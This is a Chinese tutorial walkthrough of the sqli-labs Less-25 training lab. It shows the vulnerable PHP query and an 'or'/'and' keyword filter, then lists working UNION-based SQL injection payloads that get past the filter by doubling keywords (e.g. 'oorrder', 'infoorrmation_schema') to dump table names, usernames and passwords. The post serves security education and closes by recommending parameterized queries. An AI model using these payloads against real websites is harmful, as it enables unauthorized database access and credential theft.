当前位置: 首页 > java >正文

sqli-labs:Less-25关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)、GET操作
  • 提示:参数需以'闭合
  • 关键参数:id

php输出语句的部分代码:

if($row)
{echo '<font color= "#0000ff">';	echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}
else 
{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  
}

本关卡实现了对orand字符的过滤,并使用空格进行了替换(不区分大小写),因此不能直接使用这两个。但既然对其进行空格替换,而且只进行1次替换,那么完全可以将or改写为oorr,将and改写为aandnd,接下来正常注入即可。

function blacklist($id)
{$id= preg_replace('/or/i',"", $id);		//strip out OR (non case sensitive)$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)return $id;
}

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-25/,从?id=开始,只需要将下面的sql语句粘贴即可。

2.1. 判断字段数⚡

注意order中的or,需要修改为oorrder

1' oorrder by 4 --+

在这里插入图片描述

回显信息,同时说明字段数为3。


2.2. 判断回显位⚡

-1' union select 1,2,3 --+

在这里插入图片描述


2.3. 获取基本信息⚡

-1' union select 1,database(),user() --+

在这里插入图片描述


2.4. 获取表名⚡

注意information_schema中的or,需要修改为infoorrmation_schema

-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'security' --+

在这里插入图片描述


2.5. 获取字段⚡

注意information_schema中的or,需要修改为infoorrmation_schema,将and修改为aandnd

-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security' aandnd table_name = 'users' --+

在这里插入图片描述


2.6. 获取数据⚡

注意password中的or,需要修改为passwoorrd

-1' union select 1,group_concat(username),group_concat(passwoorrd) from users --+

在这里插入图片描述


2.7. 参数汇总表⭐

参数作用示例
'闭合符号id='
--+闭合符号--+
order by判断字段数order by 4
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. 总结🏁

本关卡代码虽然尝试通过过滤orand来防止SQL注入,但由于仅采用简单的字符串替换且未递归处理,攻击者仍可通过双写(如oorraandnd)、大小写混合、逻辑运算符替代或URL编码的方式等方式轻松绕过。

其根本问题在于依赖黑名单机制而非参数化查询,导致注入风险依然存在。有效的防御应当采用预处理语句配合严格的输入验证,而非仅对关键词进行表面过滤。

相似关卡,见文章"sqli-labs:Less-25a关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149887154?spm=1011.2415.3001.5331


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.xdnf.cn/news/17005.html

相关文章:

  • Go语法:闭包
  • 【银行测试】银行票据项目业务+票据测试点分析(二)
  • Android 之 网络通信(HTTP/TCP/UDP/JSON)
  • LeetCode Hot 100,快速学习,不断更
  • MySQL连接算法和小表驱动大表的原理
  • Parcel 使用详解:零配置的前端打包工具
  • 力扣经典算法篇-39-有效的数独(二维数组和三维数组的应用)
  • 机器学习第三课之逻辑回归(三)LogisticRegression
  • 【Linux】linux基础开发工具(三) 版本控制器Git、调试器 - gdb/cgdb使用、一些实用的调试技巧
  • 关于逻辑回归的相关知识大全
  • 【数据分享】南京诗歌文学地理数据集(获取方式看文末)
  • Mongo索引
  • SpringBoot项目数据脱敏(自定义注解)
  • PPT自动化 python-pptx - 10 : 表格(tables)
  • kotlin kmp 跨平台环境使用sqldelight
  • 【从零开始速通C语言1】 - 汇编语言1
  • 【前端安全】聊聊 HTML 闭合优先级和浏览器解析顺序
  • 《嵌入式数据结构笔记(一):数据结构导论与链表》
  • Libevent(5)之使用教程(4)工具
  • 对接古老系统的架构实践:封装混乱,走向有序
  • 《从原理到实践:MySQL索引优化与SQL性能调优全解析》
  • Axios介绍
  • 达梦数据库备份与还原终极指南:从基础到增量策略实战
  • k8s+isulad 国产化技术栈云原生技术栈搭建4-添加worker节点
  • 使用Database Navigator插件进行连接sqlite报错invalid or incomplete database
  • 新电脑上GitHub推送失败?全面排查与解决指南
  • 力扣经典算法篇-41-旋转图像(辅助数组法,原地旋转法)
  • 基于深度学习的医学图像分析:使用变分自编码器(VAE)实现医学图像生成
  • 华为智能家居与Spring人工智能
  • PyTorch生成式人工智能(24)——使用PyTorch构建Transformer模型